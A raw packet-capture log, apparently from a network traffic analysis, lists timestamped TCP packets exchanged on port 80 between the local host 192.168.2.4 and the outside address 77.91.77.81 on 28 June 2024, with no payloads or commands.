Jun 28, 2024 22:32:13.337876081 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.337888002 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.337888956 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.337901115 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.337902069 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.337910891 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.337925911 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.337948084 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.338129044 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.338139057 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.338149071 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.338159084 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.338166952 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.338175058 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.338177919 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.338198900 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.338203907 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.338211060 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.338234901 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.338424921 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.338434935 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.338452101 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.338464022 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.338466883 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.338474989 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.338485956 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.338489056 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.338514090 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.338526011 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.338640928 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.338650942 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.338682890 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.398196936 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.398216009 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.398226023 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.398256063 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.398269892 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.398365974 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.398376942 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.398387909 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.398400068 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.398411989 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.398437023 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.398473978 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.398484945 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.398494005 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.398504019 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.398510933 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.398531914 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.398547888 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.398660898 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.398670912 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.398680925 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.398690939 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.398700953 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.398706913 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.398726940 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.398736954 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.398931980 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.398942947 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.398953915 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.398964882 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.398968935 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.398976088 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.398979902 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.398988008 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.398993969 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.399017096 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.399034977 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.399261951 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.399272919 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.399281979 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.399291992 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.399300098 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.399302006 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.399310112 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.399313927 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.399323940 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.399337053 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.399349928 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.399363995 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.399439096 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.399451017 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.399460077 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.399471045 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.399482012 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.399482965 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.399492025 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.399501085 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.399509907 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.399533033 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.424314976 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.424366951 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.424370050 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.424376965 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.424388885 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.424398899 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.424400091 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.424412012 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.424431086 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.424527884 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.424540043 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.424550056 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.424571991 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.424611092 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.424649000 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.424659967 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.424669027 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.424691916 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.424700022 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.424711943 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.424735069 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.424762964 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.424773932 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.424798965 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.424809933 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.424829006 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.424839020 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.424859047 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.424884081 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.424887896 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.424899101 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.424925089 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.424936056 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.425014973 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.425024033 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.425035000 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.425044060 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.425054073 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.425061941 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.425072908 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.425085068 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.425137043 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.425168991 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.426933050 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.426991940 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.427000999 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.427012920 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.427051067 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.427081108 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.427092075 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.427100897 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.427112103 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.427122116 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.427138090 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.427246094 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.427294016 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.427294970 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.427305937 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.427342892 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.427422047 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.427432060 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.427442074 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.427453041 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.427460909 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.427470922 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.427496910 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.427638054 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.427674055 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.427738905 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.427753925 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.427793026 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.427808046 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.427818060 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.427828074 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.427836895 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.427851915 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.427861929 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.427882910 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.428026915 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.428036928 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.428042889 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.428046942 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.428050995 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.428056002 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.428066969 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.428071976 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.428095102 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.428122044 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.428267002 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.428333998 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.428356886 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.428380966 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.428442001 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.428452969 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.428462982 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.428487062 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.428497076 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.428656101 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.428664923 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.428674936 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.428684950 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.428694963 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.428703070 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.428709984 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.428713083 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.428725958 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.428729057 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.428736925 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.428746939 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.428750038 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.428757906 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.428769112 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.428770065 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.428790092 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.428802013 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.428884029 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.428894997 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.428905010 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.428915977 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.428922892 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.428926945 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.428944111 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.428966045 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.429024935 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.429061890 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.429141998 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.429152012 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.429162979 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.429173946 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.429177046 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.429186106 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.429188967 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.429198027 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.429202080 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.429209948 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.429220915 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.429224968 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.429244995 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.429269075 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.488867998 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.488917112 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.488929987 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.488940001 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.488967896 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.488998890 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.489011049 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.489021063 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.489032030 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.489042997 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.489068985 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.489132881 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.489170074 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.489238977 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.489249945 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.489259958 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.489270926 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.489280939 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.489284039 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.489293098 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.489303112 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.489305973 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.489320993 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.489345074 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.489531994 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.489542007 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.489552021 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.489562035 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.489572048 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.489576101 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.489583015 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.489589930 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.489594936 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.489612103 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.489634037 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.489768028 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.489778996 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.489789963 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.489803076 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.489813089 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.489839077 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.489928007 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.489939928 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.489949942 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.489959955 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.489968061 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.489990950 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.490118027 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.490133047 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.490144014 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.490153074 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.490159035 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.490164042 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.490175962 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.490185976 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.490210056 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.515858889 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.515918970 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.515928984 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.516017914 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.516019106 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.516066074 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.516076088 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.516086102 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.516096115 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.516123056 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.516216040 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.516227007 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.516237020 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.516239882 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.516249895 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.516261101 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.516263008 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.516272068 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.516283989 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.516294003 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.516300917 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.516300917 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.516340017 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.516340017 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.516537905 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.516549110 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.516558886 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.516568899 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.516580105 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.516582966 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.516591072 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.516608953 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.516608953 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.518378019 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.519319057 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.519426107 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.519933939 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.519979954 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.520045996 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.520056963 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.520114899 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.520124912 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.520139933 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.520140886 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.520153046 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.520179987 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.520179987 CEST	49732	80	192.168.2.4	77.91.77.81
